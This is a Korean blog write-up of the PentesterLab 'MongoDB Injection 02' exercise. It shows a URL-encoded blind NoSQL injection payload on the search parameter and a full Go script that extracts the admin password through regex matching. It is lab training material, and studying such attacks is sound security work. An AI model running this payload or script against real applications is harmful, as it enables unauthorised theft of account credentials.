[PentesterLab] MongoDB Injection 02

쥬스몬·2022년 3월 14일
0

PentesterLab

목록 보기
8/20

PentesterLab의 MongoDB Injection 02 문제에 대한 접근 방법을 기록

이번 문제는 MongoDB에서의 Blind SQLi이다.MongoDB의 Document를 보면 쿼리형태를 확인할 수 있어 문제 해결에 도움이 될 수 있다.
바로 문제를 확인하면 아래와같이 search 파라미터로 검색을 지원하는데 해당 파라미터에서 SQLi가 발생한다.

MongoDB에서는 match내 정규식을 사용하여 값을 필터링할 수 있는데 이를 이용하여 name이 admin인 계정의 password를 Blind SQLi로 탈취할 수 있다. Python으로 코드를 짜는건 너무 느리고 식상해서 이번엔 GoLang으로 작성해보았다.
/?search=admin%27%20%26%26%20this.password.match(/"정규식"/)%00

package main

import (
	"fmt"
	"io/ioutil"
	"net/http"
	"os"
	"strings"
)

func check(payload string) bool {
	var URL string = "https://ptl-88279a01-37c23071.libcurl.so/?search=admin%27%20%26%26%20this.password.match(/" + payload + "/)%00"
	resp, err := http.Get(URL)
	if err != nil {
		panic(err)
	}

	defer resp.Body.Close()

	data, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		panic(err)
	}

	fmt.Println(string(URL))

	return strings.Contains(string(data), ">admin<")
}

func main() {
	var CHARSET []string
	var PASSWORD string = ""
	CHARSET = []string{"-", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9"}

	for {
		cnt := 0
		for cnt < len(CHARSET) {
			var c string = CHARSET[cnt]
			var test string = PASSWORD + c
			if check("^" + test + ".*$") {
				fmt.Println("ADD PASSWORD " + c)
				PASSWORD += c
				break
			} else if c == CHARSET[len(CHARSET)-1] {
				fmt.Println("[+] PASSWORD IS " + PASSWORD)
				os.Exit(0)

			}
			cnt += 1
		}
	}

}

확실히 GoLang이 Python보다 빠르다.

profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글